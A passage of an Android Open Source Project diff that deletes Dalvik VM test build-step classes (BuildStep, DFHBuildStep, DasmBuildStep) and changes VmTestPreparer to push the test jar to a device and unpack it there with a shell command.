- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.channels.FileChannel;
-import java.util.HashSet;
-import java.util.Set;
-
-abstract class BuildStep implements Comparable<BuildStep> {
-
-    BuildFile inputFile;
-    BuildFile outputFile;
-
-    static class BuildFile {
-        final File folder;
-        final File fileName;
-
-        BuildFile(String folder, String fileName) {
-            this.folder = new File(folder);
-            this.fileName = new File(this.folder, fileName);
-        }
-        BuildFile(File file) {
-          this.folder = file.getParentFile();
-          this.fileName = file;
-      }
-
-        String getPath() {
-            return fileName.getAbsolutePath();
-        }
-
-        @Override
-        public int hashCode() {
-            return fileName.hashCode();
-        }
-
-        @Override
-        public boolean equals(Object obj) {
-            if (obj == null) return false;
-            if (this == obj) return true;
-            if (getClass() == obj.getClass()) {
-                BuildFile other = (BuildFile) obj;
-                return fileName.equals(other.fileName);
-            }
-            return false;
-        }
-    }
-
-    BuildStep(BuildFile inputFile, BuildFile outputFile) {
-        if (inputFile == null) {
-            throw new NullPointerException("inputFile is null");
-        }
-        if (outputFile == null) {
-            throw new NullPointerException("outputFile is null");
-        }
-        this.inputFile = inputFile;
-        this.outputFile = outputFile;
-    }
-
-    BuildStep(File output) {
-        this.outputFile = new BuildFile(output);
-    }
-
-    private Set<BuildStep> children;
-
-    boolean build() {
-        if (children != null) {
-            for (BuildStep child : children) {
-                if (!child.build()) {
-                    return false;
-                }
-            }
-        }
-        return true;
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (obj == null) return false;
-        if (obj == this) return true;
-        return this.getClass() == obj.getClass();
-    }
-
-    @Override
-    public abstract int hashCode();
-
-    public void addChild(BuildStep child) {
-        if (children == null) {
-            children = new HashSet<BuildStep>();
-        }
-        children.add(child);
-    }
-
-    public static void copyFile(File in, File out) throws IOException {
-        FileChannel inChannel = new FileInputStream(in).getChannel();
-        FileChannel outChannel = new FileOutputStream(out).getChannel();
-        try {
-            inChannel.transferTo(0, inChannel.size(), outChannel);
-        } catch (IOException e) {
-            throw e;
-        } finally {
-            if (inChannel != null) inChannel.close();
-            if (outChannel != null) outChannel.close();
-        }
-    }
-
-    public int compareTo(BuildStep o) {
-        return (outputFile == o.outputFile ? 0 : outputFile.getPath().compareTo(
-                        o.outputFile.getPath()));
-    }
-}
diff --git a/tools/vm-tests-tf/src/util/build/DFHBuildStep.java b/tools/vm-tests-tf/src/util/build/DFHBuildStep.java
deleted file mode 100644
index 47a81bf..0000000
--- a/tools/vm-tests-tf/src/util/build/DFHBuildStep.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import dxconvext.ClassFileAssembler;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.FileReader;
-import java.io.OutputStream;
-import java.io.Reader;
-
-public class DFHBuildStep extends BuildStep {
-
-    public DFHBuildStep(BuildFile inputFile, BuildFile outputFile) {
-        super(inputFile, outputFile);
-    }
-
-    @Override
-    boolean build() {
-        if (super.build()) {
-            File out_dir = outputFile.fileName.getParentFile();
-            if (!out_dir.exists() && !out_dir.mkdirs()) {
-                System.err.println("failed to create dir: "
-                        + out_dir.getAbsolutePath());
-                return false;
-            }
-
-            ClassFileAssembler cfAssembler = new ClassFileAssembler();
-            Reader r;
-            OutputStream os;
-            try {
-                r = new FileReader(inputFile.fileName);
-                os = new FileOutputStream(outputFile.fileName);
-            } catch (FileNotFoundException e) {
-                System.err.println(e);
-                return false;
-            }
-            try {
-                // cfAssembler throws a runtime exception
-                cfAssembler.writeClassFile(r, os, true);
-            } catch (RuntimeException e) {
-                System.err.println("error in DFHBuildStep for inputfile "+inputFile.fileName+", outputfile "+outputFile.fileName);
-                throw e;
-            }
-            
-            return true;
-        }
-        return false;
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-
-        if (super.equals(obj)) {
-            return inputFile.equals(((DFHBuildStep) obj).inputFile)
-                    && outputFile.equals(((DFHBuildStep) obj).outputFile);
-        }
-        return false;
-    }
-
-    @Override
-    public int hashCode() {
-        return (inputFile == null ? 31 : inputFile.hashCode())
-                ^ (outputFile == null ? 37 : outputFile.hashCode());
-    }
-}
diff --git a/tools/vm-tests-tf/src/util/build/DasmBuildStep.java b/tools/vm-tests-tf/src/util/build/DasmBuildStep.java
deleted file mode 100644
index b77a491..0000000
--- a/tools/vm-tests-tf/src/util/build/DasmBuildStep.java
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import dasm.DAsm;
-import dasm.DasmError;
-import dasm.Utils;
-
-import java.io.BufferedReader;
-import java.io.Closeable;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.FileWriter;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.io.Reader;
-
-class DasmBuildStep extends BuildStep {
-
-
-    boolean generate_linenum = false;
-
-    DasmBuildStep(BuildFile inputFile, BuildFile outputFile) {
-        super(inputFile, outputFile);
-
-    }
-
-    @Override
-    boolean build() {
-        if (super.build()) {
-            return assemble(inputFile.fileName);
-        }
-        return false;
-    }
-
-    private static Reader createReader(String fname) throws IOException {
-        FileInputStream fs = new FileInputStream(fname);
-        InputStreamReader ir;
-        ir = new InputStreamReader(fs);
-        return new BufferedReader(ir);
-    }
-    
-    private boolean assemble(File file) {
-        DAsm dAsm = new DAsm();
-        String fname = file.getAbsolutePath();
-        
-        // read and parse .d file
-        Reader inp = null; 
-        try {
-            inp = createReader(fname);
-            dAsm.readD(inp, new File(fname).getName(), generate_linenum);
-            close(inp);
-        } catch(DasmError e) {
-            if(BuildDalvikSuite.DEBUG)
-                e.printStackTrace();
-            System.err.println("DASM Error: " + e.getMessage());
-        } catch(Exception e) {
-             if(BuildDalvikSuite.DEBUG)
-                 e.printStackTrace();
-             System.err.println("Exception <" + e.getClass().getName() + ">" + e.getMessage() + 
-                         " while reading and parsing " + fname);
-             return false;
-             
-        }
-        finally {
-            close(inp);
-        }
-        
-        if(dAsm.errorCount() > 0) {
-            System.err.println("Found " + dAsm.errorCount() + " errors " +
-                    " while reading and parsing " + fname);
-                return false;
-        }
-
-        String class_path[] = Utils.getClassFieldFromString(dAsm.getClassName());
-        String class_name = class_path[1];
-
-        // determine where to place .dex file
-        String dest_dir = outputFile.folder.getAbsolutePath();
-        if (class_path[0] != null) {
-            String class_dir = class_path[0].replaceAll("/|\\.", Character.toString(File.separatorChar));                                           
-            if (dest_dir != null) {
-                dest_dir = dest_dir + File.separator + class_dir;
-            } else {
-                dest_dir = class_dir;
-            }
-        }
-            
-        File out_file = null;
-        
-        if (dest_dir == null) {
-            out_file = new File(class_name + ".dex");
-        } else {
-            out_file = new File(dest_dir, class_name + ".dex");
-
-            // check that dest_dir exists
-            File dest = new File(dest_dir);
-            if (!dest.exists()) {
-                dest.mkdirs();
-            }
-
-            if (!dest.isDirectory()) {
-                System.err.println("Cannot create directory " + dest_dir);
-                return false;
-            }
-        }
-         
-        // write output
-        FileOutputStream outp = null;
-
-        try {
-            outp = new FileOutputStream(out_file);
-            dAsm.write(outp, null);
-        } catch(Exception e) {
-                if(BuildDalvikSuite.DEBUG)
-                e.printStackTrace();
-                System.err.println("Exception <" + e.getClass().getName() + ">" + e.getMessage() + 
-                        " while writing " + out_file.getPath());
-
-                close(outp);
-
-                out_file.delete();
-
-                return false;
-       }
-       finally {
-           close(outp);
-       }
-
-       return true;
-    }
-    
-    private static void close(Closeable c) {
-        if(c == null)
-            return;
-        try {
-            c.close();
-        } catch(IOException e) {
-            
-        }
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (super.equals(obj)) {
-            DasmBuildStep other = (DasmBuildStep) obj;
-
-            return inputFile.equals(other.inputFile)
-                    && generate_linenum == other.generate_linenum
-                    && outputFile.equals(other.outputFile);
-        }
-        return false;
-    }
-
-    @Override
-    public int hashCode() {
-        return inputFile.hashCode() ^ outputFile.hashCode()
-                ^ (generate_linenum ? 31 : 37);
-    }
-}
diff --git a/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java b/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java
index 1513592..6a17e91 100644
--- a/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java
+++ b/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java
@@ -25,6 +25,8 @@
 import com.android.tradefed.targetprep.BuildError;
 import com.android.tradefed.targetprep.ITargetCleaner;
 import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
 import com.android.tradefed.util.FileUtil;
 
 import java.io.File;
@@ -80,21 +82,28 @@
         // a sigsev thrown by the vm.
         createRemoteDir(device, VM_TEMP_DIR + "/dalvik-cache" );
         try {
-            File tmpDir = new File(System.getProperty("java.io.tmpdir"));
-            File localTmpDir = FileUtil.createTempDir("cts-vm", tmpDir);
             File jarFile = ctsBuild.getTestFile(JAR_FILE);
             if (!jarFile.exists()) {
                 CLog.e("Missing jar file %s", jarFile.getPath());
                 return false;
             }
-            ZipFile zipFile = new ZipFile(jarFile);
-            FileUtil.extractZip(zipFile, localTmpDir);
-            File localTestTmpDir = new File(localTmpDir, "tests");
-            if (!device.pushDir(localTestTmpDir, VM_TEMP_DIR)) {
-                CLog.e("Failed to push vm test files");
+
+            String jarOnDevice = VM_TEMP_DIR + "/" + JAR_FILE;
+            if (!device.pushFile(jarFile, jarOnDevice)) {
+                CLog.e("Failed to push vm test jar");
                 return false;
             }
-            FileUtil.recursiveDelete(localTmpDir);
+
+            // TODO: Only extract tests directory, avoid rm.
+            String cmd = "unzip -d " + VM_TEMP_DIR + " " + jarOnDevice
+                    + " && rm -rf " + VM_TEMP_DIR + "/dot*"
+                    + " && mv " + VM_TEMP_DIR + "/tests/* " + VM_TEMP_DIR + "/"
+                    + " && echo Success";
+            CommandResult result = device.executeShellV2Command(cmd);
+            if (result.getStatus() != CommandStatus.SUCCESS) {
+                CLog.e("Failed to extract and prepare vm tests jar");
+                return false;
+            }
         } catch (IOException e) {
             CLog.e("Failed to extract jar file %s and sync it to device %s.",
                     JAR_FILE, device.getSerialNumber());
